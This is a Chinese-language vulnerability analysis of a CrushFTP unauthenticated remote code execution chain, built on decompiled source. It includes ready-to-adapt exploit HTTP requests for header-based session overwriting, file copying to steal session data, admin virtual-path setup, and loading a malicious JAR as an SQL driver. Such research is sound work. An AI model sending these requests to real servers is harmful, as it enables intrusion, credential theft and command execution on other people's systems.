CrushFTP-Unauthenticated-Remote-Code-Execution

admin 2024年10月29日00:28:52评论11 views字数 17489阅读58分17秒阅读模式

CrushFTP Unauthenticated Remote Code Execution

路由分析

不像传统套件,这里自己实现了协议的解析并做调用,写法比较死板,不够灵活,在crushftp.server.ServerSessionHTTP可以看到具体的处理过程,代码”依托答辩”,不过漏洞思路值得学习

CrushFTP-Unauthenticated-Remote-Code-Execution

前台权限绕过

简单来说,原理是因为程序实现存在匿名访问机制,并且可以通过header污染当前会话的参数导致产生了一些意外的操作

crushftp.server.ServerSessionAJAX#buildPostItem当中,可以看到会解析每一个header,并将解析到的key,val保存到as2Info这个Properties中,同时这里对put的参数没有任何限制

1234567891011121314151617
public boolean buildPostItem(Properties request, long http_len_max, Vector headers, String req_id) throws Exception {        Properties as2Info = new Properties();          boolean write100Continue = false;        int x = 1;s        while (x < headers.size()) {            String data;            String key = data = headers.elementAt(x).toString();            String val = "";            try {                val = data.substring(data.indexOf(":") + 1).trim();                key = data.substring(0, data.indexOf(":")).trim().toLowerCase();            }            catch (Exception e) {                Log.log("HTTP_SERVER", 3, e);            }            as2Info.put(key, val);  ......省略.....

我们顺便看看新版本是如何解决这一点的,从processAs2HeaderLine可以看出,允许设置到as2Info当中值受到了限制

12345678910111213141516
public static void processAs2HeaderLine(String key, String val, String data, Properties as2Info) {        as2Info.put(key.trim().toLowerCase(), val.trim());        if (data.toLowerCase().startsWith("message-id:")) {            String as2Filename = data.substring(data.indexOf(":") + 1).trim();            if ((as2Filename = as2Filename.substring(1)).indexOf("@") >= 0) {                as2Filename = as2Filename.substring(0, as2Filename.indexOf("@"));            }            as2Filename = Common.replace_str(as2Filename, "<", "");            as2Filename = Common.replace_str(as2Filename, ">", "");            as2Info.put("as2Filename", as2Filename);        } else if (data.toLowerCase().startsWith("content-type:")) {            as2Info.put("contentType", data.substring(data.indexOf(":") + 1).trim());        } else if (data.toLowerCase().startsWith("disposition-notification-options:")) {            as2Info.put("signMdn", String.valueOf(data.substring(data.indexOf(":") + 1).trim().indexOf("pkcs7-signature") >= 0));        }    }

继续往下接下来我们可以看到,在光标处没有做任何的限制,直接将as2Info中的每个键值对添加到了当前会话的user_info属性,因此这里存在一个属性覆盖的问题,接下来我们就需要看看覆盖哪些属性可能存在威胁

CrushFTP-Unauthenticated-Remote-Code-Execution

关于user_info属性的获取是通过一个封装好的函数来做获取

123456
public String uiSG(String data) {    if (this.user_info.containsKey(data)) {        return this.user_info.getProperty(data);    }    return "";}

同时在此基础上还有一系列类型转换的封装

12345678910111213141516171819202122
public int uiIG(String data) {    try {        return Integer.parseInt(this.uiSG(data));    }    catch (Exception exception) {        return 0;    }}public long uiLG(String data) {    try {        return Long.parseLong(this.uiSG(data));    }    catch (Exception exception) {        return 0L;    }}public boolean uiBG(String data) {    return this.uiSG(data).toLowerCase().equals("true");}......

接下来就是寻找污染哪些属性可能造成危害,这里漏洞发现者使用了getUserName

其中csrf默认为true,我们需要传入c2f参数

123456789101112131415161718192021222324
public boolean getUserName(Properties request) throws Exception {    if (request.getProperty("command", "").equalsIgnoreCase("getUserName")) {        String response = "<?xml version=\"1.0\" encoding=\"UTF-8\"?> \r\n";        if (ServerStatus.BG("csrf") && !request.getProperty("c2f", "").equals("")) {            String session_id = this.thisSessionHTTP.thisSession.getId();            try {                if (!request.getProperty("c2f", "").equalsIgnoreCase(session_id.substring(session_id.length() - 4))) {                    this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime());                    response = String.valueOf(response) + "<commandResult><response>FAILURE:Access Denied. (c2f)</response></commandResult>";                    return this.writeResponse(response);                }            }            catch (Exception e) {                Log.log("HTTP_SERVER", 2, e);                this.thisSessionHTTP.thisSession.uiVG("failed_commands").addElement("" + new Date().getTime());                response = String.valueOf(response) + "<loginResult><response>failure</response></loginResult>";                return this.writeResponse(response);            }        }        response = this.thisSessionHTTP.thisSession.uiBG("user_logged_in") && !this.thisSessionHTTP.thisSession.uiSG("user_name").equals("") ? String.valueOf(response) + "<loginResult><response>success</response><username>" + this.thisSessionHTTP.thisSession.uiSG("user_name") + "</username></loginResult>" : String.valueOf(response) + "<loginResult><response>failure</response></loginResult>";        return this.writeResponse(response);    }    return false;}

如果相等则返回登录成功,同时值得注意的是这里会返回user_name,因此我们可以利用这一点来判断漏洞是否可利用,如果是漏洞版本user_name就可以通过header覆盖,返回也可以是任意可控字符

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980
public boolean writeResponse(String response) throws Exception {    return this.writeResponse(response, true, 200, true, false, true);}public boolean writeResponse(String response, boolean json) throws Exception {    return this.writeResponse(response, true, 200, true, json, true);}public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean log_header) throws Exception {    boolean acceptsGZIP = false;    return this.writeResponse(response, log, code, convertVars, json, acceptsGZIP, log_header);}public boolean writeResponse(String response, boolean log, int code, boolean convertVars, boolean json, boolean acceptsGZIP, boolean log_header) throws Exception {    if (convertVars) {        response = ServerStatus.thisObj.change_vars_to_values(response, this.thisSessionHTTP.thisSession);    }    this.write_command_http("HTTP/1.1 " + code + " OK", log_header);    this.write_command_http("Cache-Control: no-store", log_header);    this.write_command_http("Pragma: no-cache", log_header);    if (json) {        this.write_command_http("Content-Type: application/jsonrequest;charset=utf-8");    } else {        this.write_command_http("Content-Type: text/" + (response.indexOf("<?xml") >= 0 ? "xml" : "plain") + ";charset=utf-8");    }    if (acceptsGZIP) {        this.thisSessionHTTP.write_command_http("Vary: Accept-Encoding");        this.thisSessionHTTP.write_command_http("Content-Encoding: gzip");        this.thisSessionHTTP.write_command_http("Transfer-Encoding: chunked");        this.thisSessionHTTP.write_command_http("Date: " + this.thisSessionHTTP.sdf_rfc1123.format(new Date()), log, true);        this.thisSessionHTTP.write_command_http("Server: " + ServerStatus.SG("http_server_header"), log, true);        this.thisSessionHTTP.write_command_http("P3P: CP=\"IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT\"", log, true);        if (!ServerStatus.SG("Access-Control-Allow-Origin").equals("")) {            String origin = this.thisSessionHTTP.headerLookup.getProperty("ORIGIN", "");            int x = 0;            while (x < ServerStatus.SG("Access-Control-Allow-Origin").split(",").length) {                boolean ok = false;                if (origin.equals("")) {                    ok = true;                } else if (ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].toUpperCase().trim().equalsIgnoreCase(origin.toUpperCase().trim())) {                    ok = true;                }                if (ok) {                    this.write_command_http("Access-Control-Allow-Origin: " + ServerStatus.SG("Access-Control-Allow-Origin").split(",")[x].trim());                }                ++x;            }            this.write_command_http("Access-Control-Allow-Headers: authorization,content-type");            this.write_command_http("Access-Control-Allow-Credentials: true");            this.write_command_http("Access-Control-Allow-Methods: GET,POST,OPTIONS,PUT,PROPFIND,DELETE,MKCOL,MOVE,COPY,HEAD,PROPPATCH,LOCK,UNLOCK,ACL,TR");        }        this.write_command_http("", log);        ByteArrayOutputStream baos = new ByteArrayOutputStream();        byte[] b = response.getBytes("UTF8");        GZIPOutputStream out = new GZIPOutputStream(baos);        ((OutputStream)out).write(b);        out.finish();        if (baos.size() > 0) {            this.thisSessionHTTP.original_os.write((String.valueOf(Long.toHexString(baos.size())) + "\r\n").getBytes());            baos.writeTo(this.thisSessionHTTP.original_os);            this.thisSessionHTTP.original_os.write("\r\n".getBytes());            baos.reset();        }        this.thisSessionHTTP.original_os.write("0\r\n\r\n".getBytes());        this.thisSessionHTTP.original_os.flush();    } else {        this.thisSessionHTTP.write_standard_headers(log);        int len = response.getBytes("UTF8").length + 2;        if (len == 2) {            len = 0;        }        this.write_command_http("Content-Length: " + len, log_header);        this.write_command_http("", log);        if (len > 0) {            this.thisSessionHTTP.write_command_http(response, log, convertVars);        }    }    this.thisSessionHTTP.thisSession.drain_log();    return true;}

当请求结束,在响应完成之后,在倒数第二行调用了drain_log方法,这个方法也很有意思

可以看到如果属性当中存在user_log_path_custom,并且不为空,接下来再结合覆盖其他参数

  1. user_log_path_custom 中的值为new_loc
  2. user_log_path 中指定的值为old_loc
  3. 旧文件将复制到指定的新位置,并删除旧文件

现在我们可以做到任意文件复制以及删除,但经过测试我们会发现,如果我们读取一些敏感的配置文件到web路径下,访问后再移动回去会破坏掉文件本身的一些完整性

123456789101112131415161718192021222324252627282930313233343536
public void drain_log() {.....省略.....    object = this.uiVG("user_log");    synchronized (object) {        if (!this.uiSG("user_log_path_custom").equals("")) {            String new_loc = "" + this.user_info.remove("user_log_path_custom");            String old_loc = this.uiSG("user_log_path");            this.uiPUT("user_log_path", new_loc);            new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs();            if (new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).exists() && !new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).renameTo(new File_S(String.valueOf(new_loc) + this.uiSG("user_log_file")))) {                try {                    Common.copy(String.valueOf(old_loc) + this.uiSG("user_log_file"), String.valueOf(new_loc) + this.uiSG("user_log_file"), true);                }                catch (Exception exception) {                    // empty catch block                }                new File_S(String.valueOf(old_loc) + this.uiSG("user_log_file")).delete();            }        }        try {            com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true);        }        catch (FileNotFoundException e) {            try {                new File_S(Common.all_but_last(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file"))).mkdirs();                com.crushftp.client.Common.copyStreams(new ByteArrayInputStream(sb.toString().getBytes("UTF8")), new FileOutputStream(new File_S(String.valueOf(this.uiSG("user_log_path")) + this.uiSG("user_log_file")), true), true, true);            }            catch (IOException ee) {                Log.log("SERVER", 1, ee);            }        }        catch (IOException e) {            Log.log("SERVER", 1, e);        }    }}

毕竟是log功能,程序会将请求记录不断写入CrushFTP-Unauthenticated-Remote-Code-Execution

而这部分功能则是受add_log控制,可以看到如果dont_logtrue,那么就不会记录当前请求

12345678
public void add_log(String log_data, String short_data, String check_data) {      if (this.uiBG("dont_log")) {          return;      }      if (this.logDateFormat == null) {          this.logDateFormat = (SimpleDateFormat)ServerStatus.thisObj.logDateFormat.clone();      }.......

因此我们不难构造出

12345678910111213
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1Host: 127.0.0.1:8080as2-to: Xuser_name: crushadminuser_log_file: file_to_readuser_log_path_custom: WebInterface/user_log_path: ./dont_log: trueContent-Length: 9Content-Type: application/x-www-form-urlencodedCookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;post=body

表面上看来到此漏洞可能已经利用结束了,但实际上还能再更进一步

但继续阅读源码我们会发现,程序在运行过程还会”定期”,将session当中的属性信息保存到sessions.obj文件当中

再来看看它是如何生成的,在crushftp.handlers.SharedSession#flush中如果属性allow_session_caching_memorytrue才会执行,默认配置为true

CrushFTP-Unauthenticated-Remote-Code-Execution

flush的调用在crushftp.handlers.SharedSession#shutdown

12345678910111213141516171819
public static void shutdown() {    if (ServerStatus.BG("allow_session_caching_on_exit")) {        while (ServerStatus.siVG("user_list").size() > 0) {            Properties user_info = (Properties)ServerStatus.siVG("user_list").elementAt(0);            SessionCrush thisSession = (SessionCrush)user_info.get("session");            if (thisSession != null) {                thisSession.do_kill(null);            } else {                ServerStatus.thisObj.remove_user(user_info);            }            ServerStatus.siVG("user_list").remove(user_info);        }        SharedSession recent_users = SharedSession.find("recent_user_list");        recent_users.put("recent_user_list", ServerStatus.siVG("recent_user_list"));        recent_users.put("user_login_num", ServerStatus.siSG("user_login_num"));    }    shutting_down = true;    SharedSession.flush();}

shutdown的调用在crushftp.handlers.ShutdownHandler#run,可以看到在构造函数当中,为通过Runtime.getRuntime().addShutdownHook(this)向JVM注册了一个关闭时的Hook动作

1234567891011121314151617181920212223242526272829303132333435363738394041
public class ShutdownHandlerextends Thread {    boolean shutdown = false;    public ShutdownHandler() {        Runtime.getRuntime().addShutdownHook(this);    }    /*     * Unable to fully structure code     */    @Override    public synchronized void run() {        block6: {            if (this.shutdown) break block6;            AdminControls.stopLogins(new Properties(), "CONNECT)");            start = System.currentTimeMillis();            if (true) ** GOTO lbl13            do {                try {                    Thread.sleep(1000L);                }                catch (InterruptedException var3_2) {                    // empty catch block                }                if (ServerStatus.siVG("running_tasks").size() <= 0) break;            } while (System.currentTimeMillis() - start < ServerStatus.LG("active_jobs_shutdown_wait_secs") * 1000L);            SharedSession.shutdown();            ServerStatus.thisObj.statTools.stopDB();            ServerStatus.thisObj.searchTools.stopDB();        }        this.shutdown = true;        if (ServerStatus.thisObj.loggingProvider1 != null) {            ServerStatus.thisObj.loggingProvider1.flushNow();        }        if (ServerStatus.thisObj.loggingProvider2 != null) {            ServerStatus.thisObj.loggingProvider2.flushNow();        }    }}

因此保存的条件是重启过服务器…,这个文件的作用相当于是充当了服务器重启时的缓存,因此漏洞利用需要看运气了,这里为了重现漏洞我们重启一下系统生成这个文件

CrushFTP-Unauthenticated-Remote-Code-Execution

这里我们得到了完整的流程

12345678910111213
POST /WebInterface/function/?command=getUsername&c2f=a4Ga HTTP/1.1Host: 127.0.0.1:8080as2-to: Xuser_name: crushadminuser_log_file: sessions.objuser_log_path_custom: WebInterface/user_log_path: ./dont_log: trueContent-Length: 9Content-Type: application/x-www-form-urlencodedCookie: currentAuth=a4Ga; CrushAuth=1702222555460_GEeImKOtIut9bj65EsoOrsDUAYa4Ga;post=body

之后访问/WebInterface/sessions.obj/WebInterface/sessions.obj即可获取到泄漏的session信息

在这里我们还可以尝试权限维持,可以看到这里存在一个接口可以直接获取到明文密码

123456
if (command.equalsIgnoreCase("getUser")) {    if (AdminControls.checkRole(command, site, this.thisSessionHTTP.thisSession.uiSG("user_ip"))) {        return this.writeResponse(AdminControls.buildXML(AdminControls.getUser(request, site, this.thisSessionHTTP.thisSession), "user_items", "OK"), true, 200, false, false, true);    }    return this.writeResponse("<commandResult><response>FAILURE:Access Denied.</response></commandResult>");}

AdminControls.getUser当中,通过username查询到用户信息并返回

在这里比较骚的一点,系统会按照pass掉格式自适应解码,因此我们拿到的密码是明文~~~(Ps:就算不是也无所谓里面都是硬编码)

12345678910111213141516171819
public static Object getUser(Properties request, String site, SessionCrush thisSession) {......省略.......        username = thisSession.uiSG("user_name");......省略.......        VFS uVFS = UserTools.ut.getVFS(request.getProperty("serverGroup"), username);        Properties new_user = UserTools.ut.getUser(request.getProperty("serverGroup"), username, false);......省略.......        String pass = new_user.getProperty("password", "");        if (!(pass.startsWith("SHA:") || pass.startsWith("SHA512:") || pass.startsWith("SHA256:") || pass.startsWith("SHA3:") || pass.startsWith("MD5:") || pass.startsWith("CRYPT3:") || pass.startsWith("BCRYPT:") || pass.startsWith("MD5CRYPT:") || pass.startsWith("PBKDF2SHA256:") || pass.startsWith("SHA512CRYPT:") || pass.startsWith("ARGOND:"))) {            pass = ServerStatus.thisObj.common_code.decode_pass(pass);            new_user.put("password", pass);        } else {            new_user.put("password", "SHA3:XXXXXXXXXXXXXXXXXXXX");        }        if (!new_user.getProperty("userVersion", "").equals("6") && !new_user.getProperty("as2EncryptKeystorePassword", "").equals("")) {            new_user.put("as2EncryptKeystorePassword", ServerStatus.thisObj.common_code.encode_pass(new_user.getProperty("as2EncryptKeystorePassword", ""), "DES", ""));            new_user.put("as2EncryptKeyPassword", ServerStatus.thisObj.common_code.encode_pass(new_user.getProperty("as2EncryptKeyPassword", ""), "DES", ""));        }......省略.......

简单发包做个验证

CrushFTP-Unauthenticated-Remote-Code-Execution

后台代码执行

在后台设置中,发现可以动态加载 SQL 驱动程序和配置测试,因此只需要能够上传恶意 JAR 文件即可实现RCE

CrushFTP-Unauthenticated-Remote-Code-Execution

毕竟是FTP一定存在上传的点,但是在上传后发现没有权限

CrushFTP-Unauthenticated-Remote-Code-Execution

经过查找我们可以发现在后台可以增加虚拟路径和物理路径的映射

CrushFTP-Unauthenticated-Remote-Code-Execution

顺便抓了个包

1
command=setUserItem&data_action=replace&serverGroup=extra_vfs&username=crushadmin~Y4Test&user=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%3Cuser+type%3D%22properties%22%3E%3Cusername%3Ecrushadmin~Y4Test%3C%2Fusername%3E%3Cpassword%3E%3C%2Fpassword%3E%3Cmax_logins%3E0%3C%2Fmax_logins%3E%3Croot_dir%3E%2F%3C%2Froot_dir%3E%3C%2Fuser%3E&xmlItem=user&vfs_items=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3Cvfs_items+type%3D%22vector%22%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3EY4TMP%3C%2Fname%3E%0D%0A%3Cpath%3E%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3E%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3Cvfs_items_subitem+type%3D%22properties%22%3E%0D%0A%3Cname%3Etmp%3C%2Fname%3E%0D%0A%3Cpath%3E%2FY4TMP%2F%3C%2Fpath%3E%0D%0A%3Cvfs_item+type%3D%22vector%22%3E%0D%0A%3Cvfs_item_subitem+type%3D%22properties%22%3E%0D%0A%3Ctype%3EDIR%3C%2Ftype%3E%0D%0A%3Curl%3EFILE%3A%2F%2FVolumes%2FMacintosh+HD%2Ftmp%2F%3C%2Furl%3E%0D%0A%3C%2Fvfs_item_subitem%3E%0D%0A%3C%2Fvfs_item%3E%0D%0A%3C%2Fvfs_items_subitem%3E%0D%0A%3C%2Fvfs_items%3E&permissions=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E%0D%0A%3CVFS+type%3D%22properties%22%3E%0D%0A%3Citem+name%3D%22%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2F%22%3E(read)(view)(resume)%3C%2Fitem%3E%0D%0A%3Citem+name%3D%22%2FY4TMP%2FTMP%2F%22%3E(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)%3C%2Fitem%3E%0D%0A%3C%2FVFS%3E&c2f=kYjk

对应以下的参数,按照此模板做修改即可注意替换username(用户名~随意的自定义参数|参考上面的图上面的截图就很容易理解)、c2f参数即可

123456789101112131415161718192021222324252627282930313233343536
command: setUserItemdata_action: replaceserverGroup: extra_vfsusername: crushadmin~Y4Testuser: <?xml version="1.0" encoding="UTF-8"?><user type="properties"><username>crushadmin~Y4Test</username><password></password><max_logins>0</max_logins><root_dir>/</root_dir></user>xmlItem: uservfs_items: <?xml version="1.0" encoding="UTF-8"?><vfs_items type="vector"><vfs_items_subitem type="properties"><name>Y4TMP</name><path>/</path><vfs_item type="vector"><vfs_item_subitem type="properties"><type>DIR</type><url></url></vfs_item_subitem></vfs_item></vfs_items_subitem><vfs_items_subitem type="properties"><name>tmp</name><path>/Y4TMP/</path><vfs_item type="vector"><vfs_item_subitem type="properties"><type>DIR</type><url>FILE://Volumes/Macintosh HD/tmp/</url></vfs_item_subitem></vfs_item></vfs_items_subitem></vfs_items>permissions: <?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item><item name="/Y4TMP/">(read)(view)(resume)</item><item name="/Y4TMP/TMP/">(read)(write)(view)(delete)(deletedir)(makedir)(rename)(resume)(share)</item></VFS>c2f: kYjk

之后在主页上传jar包CrushFTP-Unauthenticated-Remote-Code-Execution

抓了个包发现这样非常麻烦,需要两步,第一步相当于初始化,第二步还要计算文件大小拼接(19218是文件大小)

CrushFTP-Unauthenticated-Remote-Code-Execution

通过阅读源码我发现了一个可替代的步骤,并且更简单,简化我们做自动化利用的步骤

CrushFTP-Unauthenticated-Remote-Code-Execution

现在既然成功上传了,那就可以控制参数加载我们的恶意SQL驱动程序执行任意命令

CrushFTP-Unauthenticated-Remote-Code-Execution

- source:y4tacker

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月29日00:28:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CrushFTP-Unauthenticated-Remote-Code-Executionhttps://cn-sec.com/archives/3314569.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息